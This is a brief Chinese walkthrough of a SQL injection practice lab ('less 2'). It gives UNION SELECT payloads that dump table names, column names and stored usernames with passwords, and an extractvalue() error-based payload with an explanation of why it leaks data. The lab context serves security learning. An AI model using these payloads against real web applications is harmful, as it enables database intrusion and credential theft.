less 2:
有了less 1 的基础,我们就直接进入正题
输入?id=1’ 报错
输入?id=1 and 1=1正常显示
输入?id=1 and 1=2 报错
说明这是一个整数型的注入漏洞
有了less 1的铺垫我们就不用order by猜列数了
爆表名:
1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
接着爆列名
1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
爆值
1 and 1=2 union select 1,2,group_concat(username,0x3a,password) from users
另外一种wp:
1 and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))
利用extravalue()
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
所以当我们在extractvalue()第二个参数写入错误的格式,就会返回我们写入的想要查询的内容
0x7e是波浪号`,以~开头的内容不是xml格式的语法
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位